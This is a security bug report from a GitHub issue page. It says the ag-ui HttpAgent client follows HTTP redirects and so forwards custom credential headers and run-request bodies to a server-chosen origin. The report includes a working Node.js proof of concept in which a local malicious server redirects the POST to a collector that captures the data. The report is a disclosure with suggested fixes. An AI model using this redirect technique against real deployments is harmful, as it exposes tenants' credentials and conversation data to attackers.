ag-ui-protocol / ag-ui-protocol/ag-ui

[BUG]: `HttpAgent` follows redirects, forwarding credentials and the run request to a server-chosen origin

未關閉
#2,520 0 則留言 0 個 reaction 已指派 0 人 在 GitHub 檢視
主要語言
Python
星號
15.9k
分支
1.4k
平均合併
1 天 17 小時
30 天內合併 PR
163

描述

# `HttpAgent` follows redirects, forwarding credentials and the run request to a server-chosen origin

Repository: https://github.com/ag-ui-protocol/ag-ui
Affected: `@ag-ui/client` (verified against published npm release 0.0.58)
CWE: CWE-601 (URL Redirection to Untrusted Site) / CWE-200

## Summary

`HttpAgent` builds its request init (`method`, `headers`, `body`, `signal`) without a `redirect` option, so `fetch` uses the default `redirect: "follow"`. A malicious or compromised agent endpoint can answer the run POST with a redirect whose `Location` the attacker chooses; the client then re-issues the request to that origin. Measured on Node 24 (undici): the re-POST reaches the attacker origin carrying the run-request envelope (`threadId`, `runId`, …) and forwards developer-supplied non-`Authorization` headers (`X-Tenant`, API keys); per the Fetch specification, browsers additionally preserve the full request body across 307/308 — including the complete conversation history, tool schemas, and resume payloads — and same-origin redirects forward everything. The attacker-chosen `Location` also makes this a client-side request-forgery primitive (internal endpoints receive a client-generated POST).

## Affected code

- `@ag-ui/client` (npm 0.0.58) `dist/index.mjs`, `HttpAgent.requestInit` — builds `{method, headers, body, signal}` with no `redirect` member; no origin-pinning of the credential-bearing transport

## Observed behavior (measured)

Evil agent answers `307 → http://127.0.0.1:`; collector receives:

| observation | result |
|---|---|
| POST arrived at attacker origin | yes |
| body length (run-request JSON: `threadId`, `runId`, …) | 167 bytes |
| `X-Tenant: acme` forwarded | yes |
| `Authorization` forwarded | no (stripped cross-origin per Fetch spec) |
| user `messages` content present in re-POST body (this Node/undici run) | no |

Full body preservation on 307/308 is the browser-specified behavior; the Node measurement above demonstrates the redirect-following and header forwarding, which are the SDK-level defect.

## Impact

A compromised or malicious agent endpoint exfiltrates the tenant's credentials and (in browsers, per spec) the full run body to an arbitrary origin, and can direct the client to POST a crafted body at internal URLs (client-side SSRF). Integrity/confidentiality impact beyond availability.

## Suggested remediation

- Pin `redirect: "manual"` (or `"error"`) in `requestInit` and surface redirect responses as errors.
- Never forward the body or auth headers across an origin change.

## PoC

Prerequisites: Node ≥ 20 with `@ag-ui/client@0.0.58` installed. Run `node poc_f26.mjs`; on success it prints a JSON verdict ending in `"confirmed": true` and exits 0.

```js
// poc_f26.mjs — F-26: HttpAgent follows redirects with the credential-bearing
// run request. requestInit omits `redirect`, so fetch uses the default "follow".
// A malicious agent endpoint responds 307 → attacker collector; fetch re-issues
// the POST preserving method (+body). Developer auth headers in this.headers
// also forward. Confirmed if the collector receives the re-issued POST and/or a
// custom auth header. Authorization is stripped cross-origin by modern fetch
// (spec), but non-Authorization auth headers and the run body are not.
import http from 'node:http';
import { HttpAgent } from '@ag-ui/client';

const collected = { body: null, headers: {}, got: false };
const collector = http.createServer((req, res) => {
let b = '';
req.on('data', c => (b += c));
req.on('end', () => {
collected.body = b; collected.headers = req.headers; collected.got = true;
res.writeHead(200, { 'Content-Type': 'text/event-stream' });
res.end(); // empty stream → runAgent resolves
});
});
await new Promise(r => collector.listen(0, '127.0.0.1', r));
const cPort = collector.address().port;

const evil = http.createServer((req, res) => {
req.resume();
res.writeHead(307, { Location: `http://127.0.0.1:${cPort}/collect` });
res.end();
});
await new Promise(r => evil.listen(0, '127.0.0.1', r));
const ePort = evil.address().port;

const agent = new HttpAgent({
url: `http://127.0.0.1:${ePort}/`,
headers: { 'X-Tenant': 'acme', Authorization: 'Bearer secret-tenant-token' },
});
try {
await agent.runAgent({ messages: [{ role: 'user', content: 'the-launch-code-is-7331' }] });
} catch {}

const bodyHasSecret = collected.got && collected.body && collected.body.includes('7331');
const authForwarded = collected.headers['authorization'] === 'Bearer secret-tenant-token';
const tenantForwarded = collected.headers['x-tenant'] === 'acme';
// core finding: the credential-bearing POST was re-issued to the attacker URL
const ok = collected.got && (tenantForwarded || bodyHasSecret || authForwarded);

console.log(JSON.stringify({
finding: 'F-26-redirect-exfil-of-run-body',
collector_got_post: collected.got,
forwarded_body_length: collected.body ? collected.body.length : 0,
body_has_secret: bodyHasSecret,
authorization_header_forwarded: authForwarded,
x_tenant_header_forwarded: tenantForwarded,
confirmed: ok,
}, null, 2));
evil.close(); collector.close();
process.exit(ok ? 0 : 1);
```

貢獻指南

開啟貢獻指南

評估

這個 Issue 還沒有評估資料。

把新 issue 寄到你的電子郵件信箱

精選適合新手參與的 GitHub issue 摘要。